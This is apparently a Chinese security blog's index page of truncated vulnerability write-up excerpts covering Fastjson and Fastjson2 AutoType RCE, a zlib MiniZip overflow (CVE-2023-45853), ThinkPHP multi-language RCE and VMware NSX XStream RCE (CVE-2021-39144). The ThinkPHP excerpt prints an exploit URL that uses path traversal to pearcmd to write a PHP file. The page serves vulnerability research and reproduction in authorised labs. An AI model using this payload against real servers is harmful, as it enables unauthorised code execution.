Hack All Sec 的博客Fastjson2 FNV-1a 哈希碰撞 AutoType 绕过 RCE
免责声明本文档和配套代码仅用于授权环境下的漏洞研究、本地靶场复现、代码审计和防御验证。禁止将本文档中的 PoC、检测逻辑或复现步骤用于未授权系统、互联网目标或任何违反法律法规的场景。使用者应自行确保测试目标、网络环境和操作行为均已获得明确授权，并自行承担因不当使用造成的后果。漏洞简介Fastjson2 的 2.0.62 及以下版本在处理 @type 时，ObjectReaderProvider.c
Fastjson 1.2.83 @JSONType Gadget-free RCE 分析与复现
免责声明本文档和配套代码仅用于授权环境下的漏洞研究、本地靶场复现、代码审计和防御验证。禁止将本文档中的 PoC、检测逻辑或复现步骤用于未授权系统、互联网目标或任何违反法律法规的场景。使用者应自行确保测试目标、网络环境和操作行为均已获得明确授权，并自行承担因不当使用造成的后果。漏洞简介Fastjson 1.x 在 ParserConfig.checkAutoType 中，当 SafeMode 未启用
CVE-2023-45853分析和复现
漏洞简介MiniZip在zlib 1.3版本及之前的版本中存在一个整数溢出漏洞和由此引起的堆缓冲区溢出漏洞，漏洞出现在zipOpenNewFileInZip4_64函数中，攻击者可以通过一个较长的文件名、注释或额外字段来利用该漏洞。需要注意的是，MiniZip并非zlib产品的一个受支持的组成部分。漏洞分析CVE 相关信息根据CVE提供的参考链接，可以获取到以下信息：CVEID记录创建时间为：20
【漏洞复现】ThinkPHP 多语言模块RCE
Exp# 写文件 http://172.17.0.2/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/hello.php # 包含文件 http://172.17.0.2/public/index.p
VMware NSX Manager XStream 远程代码执行漏洞（CVE-2021-39144）
简介由于在 VMware Cloud Foundation (NSX-V) 中使用 XStream 进行序列化而未经身份验证，黑客可以构造恶意数据包从而造成远程代码执行漏洞。VMware Cloud Foundation 3.x 和更具体的 NSX Manager Data Center for vSphere 6.4.13 及更高版本容易受到远程命令执行的攻击。利用该漏洞可获得 root 权限。